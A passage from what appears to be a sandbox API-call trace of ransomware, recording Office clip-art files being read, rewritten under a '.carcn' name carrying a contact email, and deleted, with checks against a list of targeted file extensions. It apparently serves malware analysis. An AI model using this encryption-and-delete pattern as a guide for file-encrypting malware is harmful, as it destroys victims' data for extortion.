lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0302.565] SetEndOfFile (hFile=0x380) returned 1 [0302.565] CloseHandle (hObject=0x380) returned 1 [0302.565] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.565] SetEndOfFile (hFile=0x35c) returned 1 [0302.566] CloseHandle (hObject=0x35c) returned 1 [0302.566] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.566] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf")) returned 1 [0302.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0302.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0302.567] lstrlenW (lpString=".doc") returned 4 [0302.567] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.567] lstrlenW (lpString=".docx") returned 5 [0302.567] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.567] lstrlenW (lpString=".pdf") returned 4 [0302.567] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.567] lstrlenW (lpString=".xls") returned 4 [0302.567] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.567] lstrlenW (lpString=".xlsx") returned 5 [0302.567] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.567] lstrlenW (lpString=".ppt") returned 4 [0302.567] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0302.567] lstrlenW (lpString=".zip") returned 4 [0302.567] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.567] lstrlenW (lpString=".rar") returned 4 [0302.567] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.567] lstrlenW (lpString=".bz2") returned 4 [0302.567] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.567] lstrlenW (lpString=".7z") returned 3 [0302.567] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0302.567] lstrlenW (lpString=".dbf") returned 4 [0302.567] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0302.567] lstrlenW (lpString=".1cd") returned 4 [0302.567] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68 [0302.567] lstrlenW (lpString=".jpg") returned 4 [0302.567] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.568] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.568] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0302.568] GetLastError () returned 0x0 [0302.568] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x670, lpOverlapped=0x0) returned 1 [0302.569] WriteFile (in: hFile=0x380, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x680, lpOverlapped=0x0) returned 1 [0302.570] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.570] WriteFile (in: hFile=0x380, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0302.570] SetEndOfFile (hFile=0x380) returned 1 [0302.570] CloseHandle (hObject=0x380) returned 1 [0302.570] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.570] SetEndOfFile (hFile=0x35c) returned 1 [0302.571] CloseHandle (hObject=0x35c) returned 1 [0302.571] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.571] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf")) returned 1 [0302.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0302.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0302.576] lstrlenW (lpString=".doc") returned 4 [0302.576] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.576] lstrlenW (lpString=".docx") returned 5 [0302.576] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.576] lstrlenW (lpString=".pdf") returned 4 [0302.576] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.576] lstrlenW (lpString=".xls") returned 4 [0302.576] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.576] lstrlenW (lpString=".xlsx") returned 5 [0302.576] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.576] lstrlenW (lpString=".ppt") returned 4 [0302.576] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0302.576] lstrlenW (lpString=".zip") returned 4 [0302.576] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.576] lstrlenW (lpString=".rar") returned 4 [0302.576] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.576] lstrlenW (lpString=".bz2") returned 4 [0302.576] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.576] lstrlenW (lpString=".7z") returned 3 [0302.576] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0302.576] lstrlenW (lpString=".dbf") returned 4 [0302.576] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0302.577] lstrlenW (lpString=".1cd") returned 4 [0302.577] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68 [0302.577] lstrlenW (lpString=".jpg") returned 4 [0302.577] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.577] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.577] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0302.578] GetLastError () returned 0x0 [0302.578] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0xc38, lpOverlapped=0x0) returned 1 [0302.579] WriteFile (in: hFile=0x380, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xc40, lpOverlapped=0x0) returned 1 [0302.580] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.580] WriteFile (in: hFile=0x380, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0302.580] SetEndOfFile (hFile=0x380) returned 1 [0302.581] CloseHandle (hObject=0x380) returned 1 [0302.581] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.581] SetEndOfFile (hFile=0x35c) returned 1 [0302.912] CloseHandle (hObject=0x35c) returned 1 [0302.912] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.912] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf")) returned 1 [0302.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0302.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0302.913] lstrlenW (lpString=".doc") returned 4 [0302.913] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.913] lstrlenW (lpString=".docx") returned 5 [0302.913] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.913] lstrlenW (lpString=".pdf") returned 4 [0302.913] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.913] lstrlenW (lpString=".xls") returned 4 [0302.913] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.913] lstrlenW (lpString=".xlsx") returned 5 [0302.913] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.913] lstrlenW (lpString=".ppt") returned 4 [0302.913] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0302.913] lstrlenW (lpString=".zip") returned 4 [0302.913] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.913] lstrlenW (lpString=".rar") returned 4 [0302.913] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.913] lstrlenW (lpString=".bz2") returned 4 [0302.913] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.913] lstrlenW (lpString=".7z") returned 3 [0302.913] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0302.913] lstrlenW (lpString=".dbf") returned 4 [0302.913] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0302.914] lstrlenW (lpString=".1cd") returned 4 [0302.914] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0302.914] lstrlenW (lpString=".jpg") returned 4 [0302.914] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.914] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.914] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0302.915] GetLastError () returned 0x0 [0302.915] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x844, lpOverlapped=0x0) returned 1 [0302.916] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x850, lpOverlapped=0x0) returned 1 [0302.917] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.917] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0302.917] SetEndOfFile (hFile=0x340) returned 1 [0302.917] CloseHandle (hObject=0x340) returned 1 [0302.917] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.917] SetEndOfFile (hFile=0x35c) returned 1 [0302.918] CloseHandle (hObject=0x35c) returned 1 [0302.918] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.918] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf")) returned 1 [0302.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0302.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0302.919] lstrlenW (lpString=".doc") returned 4 [0302.919] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.919] lstrlenW (lpString=".docx") returned 5 [0302.919] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.919] lstrlenW (lpString=".pdf") returned 4 [0302.919] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.919] lstrlenW (lpString=".xls") returned 4 [0302.919] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.919] lstrlenW (lpString=".xlsx") returned 5 [0302.919] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.919] lstrlenW (lpString=".ppt") returned 4 [0302.919] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0302.919] lstrlenW (lpString=".zip") returned 4 [0302.919] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.919] lstrlenW (lpString=".rar") returned 4 [0302.920] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.920] lstrlenW (lpString=".bz2") returned 4 [0302.920] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.920] lstrlenW (lpString=".7z") returned 3 [0302.920] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0302.920] lstrlenW (lpString=".dbf") returned 4 [0302.920] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0302.920] lstrlenW (lpString=".1cd") returned 4 [0302.920] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0302.920] lstrlenW (lpString=".jpg") returned 4 [0302.920] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.920] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.920] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0302.921] GetLastError () returned 0x0 [0302.921] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x620, lpOverlapped=0x0) returned 1 [0302.922] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x630, lpOverlapped=0x0) returned 1 [0302.923] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.923] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0302.923] SetEndOfFile (hFile=0x340) returned 1 [0302.923] CloseHandle (hObject=0x340) returned 1 [0302.924] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.924] SetEndOfFile (hFile=0x35c) returned 1 [0302.924] CloseHandle (hObject=0x35c) returned 1 [0302.925] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.925] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf")) returned 1 [0302.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0302.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0302.925] lstrlenW (lpString=".doc") returned 4 [0302.925] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.925] lstrlenW (lpString=".docx") returned 5 [0302.925] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.926] lstrlenW (lpString=".pdf") returned 4 [0302.926] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.926] lstrlenW (lpString=".xls") returned 4 [0302.926] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.926] lstrlenW (lpString=".xlsx") returned 5 [0302.926] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.926] lstrlenW (lpString=".ppt") returned 4 [0302.926] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0302.926] lstrlenW (lpString=".zip") returned 4 [0302.926] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.926] lstrlenW (lpString=".rar") returned 4 [0302.926] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.926] lstrlenW (lpString=".bz2") returned 4 [0302.926] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.926] lstrlenW (lpString=".7z") returned 3 [0302.926] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0302.926] lstrlenW (lpString=".dbf") returned 4 [0302.926] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0302.926] lstrlenW (lpString=".1cd") returned 4 [0302.926] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0302.926] lstrlenW (lpString=".jpg") returned 4 [0302.926] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.927] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.927] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0302.927] GetLastError () returned 0x0 [0302.927] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x2ce2, lpOverlapped=0x0) returned 1 [0302.928] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x2cf0, lpOverlapped=0x0) returned 1 [0302.929] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.930] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0302.930] SetEndOfFile (hFile=0x340) returned 1 [0302.930] CloseHandle (hObject=0x340) returned 1 [0302.930] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.930] SetEndOfFile (hFile=0x35c) returned 1 [0302.931] CloseHandle (hObject=0x35c) returned 1 [0302.931] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.931] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf")) returned 1 [0302.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0302.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0302.932] lstrlenW (lpString=".doc") returned 4 [0302.932] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.932] lstrlenW (lpString=".docx") returned 5 [0302.932] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.932] lstrlenW (lpString=".pdf") returned 4 [0302.932] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.932] lstrlenW (lpString=".xls") returned 4 [0302.932] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.932] lstrlenW (lpString=".xlsx") returned 5 [0302.932] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.932] lstrlenW (lpString=".ppt") returned 4 [0302.932] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0302.932] lstrlenW (lpString=".zip") returned 4 [0302.932] lstrcmpiW 